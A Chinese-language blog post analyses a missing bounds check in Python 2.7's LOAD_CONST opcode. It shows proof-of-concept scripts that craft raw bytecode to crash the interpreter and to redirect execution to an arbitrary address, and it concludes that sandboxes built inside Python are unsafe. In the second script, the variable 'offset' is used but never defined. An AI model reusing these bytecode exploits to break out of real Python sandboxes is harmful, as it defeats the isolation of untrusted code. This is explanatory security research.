Featured image of post 深入Python虚拟机:LOAD_CONST漏洞解析

深入Python虚拟机:LOAD_CONST漏洞解析

本文详细分析了Python虚拟机中存在的LOAD_CONST漏洞,探讨了如何通过该漏洞控制虚拟栈并执行任意代码的技术细节,适合对Python内部机制和漏洞利用感兴趣的读者阅读。

深入Python虚拟机:LOAD_CONST漏洞解析

引言

一年前,我编写了一个利用Python虚拟机漏洞的脚本:其核心思路是完全控制Python虚拟处理器,然后通过虚拟化执行原生代码。由于python27_abuse_vm_to_execute_x86.py脚本不够直观,因此真正理解其原理的人并不多。本文将详细解释该漏洞的原理、如何控制虚拟机以及如何将漏洞转化为更实用的攻击方式。同时,这也是从底层视角了解Python虚拟机工作原理的绝佳机会。

Python虚拟处理器

简介

Python是一个解释型脚本语言,其官方解释器源代码可在此处获取。整个项目用C语言编写,具有极高的可读性。

虚拟机

Python虚拟机完全实现在PyEval_EvalFrameEx函数中(位于ceval.c文件)。该虚拟机采用简单的循环结构,通过switch-case逐个处理操作码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
PyObject* PyEval_EvalFrameEx(PyFrameObject *f, int throwflag) {
    //...
    switch (opcode) {
        case LOAD_FAST:
            x = GETLOCAL(oparg);
            if (x != NULL) {
                Py_INCREF(x);
                PUSH(x);
                goto fast_next_opcode;
            }
            //...
            break;
        case LOAD_CONST:
            x = GETITEM(consts, oparg);
            Py_INCREF(x);
            PUSH(x);
            goto fast_next_opcode;
        //...
    }
}

万物皆对象

虚拟机的首要规则是它只处理Python对象。Python对象由两部分组成:

  1. 头部(所有对象必备)
  2. 描述对象特性的可变部分

通过这种设计,Python能够以通用方式处理不同类型的对象。

漏洞分析

关键漏洞点:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#ifndef Py_DEBUG
#define GETITEM(v, i) PyTuple_GET_ITEM((PyTupleObject *)(v), (i))
#else
/* 宏定义,用安全性换取速度 */
#define PyTuple_GET_ITEM(op, i) (((PyTupleObject *)(op))->ob_item[i])

case LOAD_CONST:
    x = GETITEM(consts, oparg);
    Py_INCREF(x);
    PUSH(x);
    goto fast_next_opcode;

漏洞利用

通过控制oparg索引和consts内容,我们可以向虚拟机栈推送任意数据。以下是触发崩溃的示例代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import opcode
import types

def a():
    pass

a.func_code = types.CodeType(
    0, 0, 0, 0,
    chr(opcode.opmap['EXTENDED_ARG']) + '\xef\xbe' +
    chr(opcode.opmap['LOAD_CONST']) + '\xad\xde',
    (), (), (), '', '', 0, ''
)
a()

实现任意代码执行

通过精心构造PyFunctionObject和_typeobject,我们可以实现绝对地址调用:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import opcode
import types
import struct

def pshort(s):
    return struct.pack('<H', s)

def puint(s):
    return struct.pack('<I', s)

def a():
    pass

# 构造恶意对象
second_object = 'A'*0x40 + puint(0xdeadbeef)
first_object = 'AAAA' + puint(id(second_object) + 20)

consts = ()
s = puint(id(first_object) + 20)

a.func_code = types.CodeType(
    0, 0, 0, 0,
    chr(opcode.opmap['EXTENDED_ARG']) + pshort(offset >> 16) +
    chr(opcode.opmap['LOAD_CONST']) + pshort(offset & 0xffff) +
    chr(opcode.opmap['CALL_FUNCTION']) + pshort(0),
    consts, (), (), '', '', 0, ''
)
a()

结论与建议

本文揭示了Python虚拟机内部的安全隐患,证明了在Python内部构建沙箱的不安全性。如需执行不可信Python代码,建议考虑PyPy的沙箱功能或构建基于SECCOMP的系统。

延伸阅读

  • 使用GDB调试Python
  • .pyc文件结构解析
  • Python字节码修改技术
  • Python内部机制系列文章
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计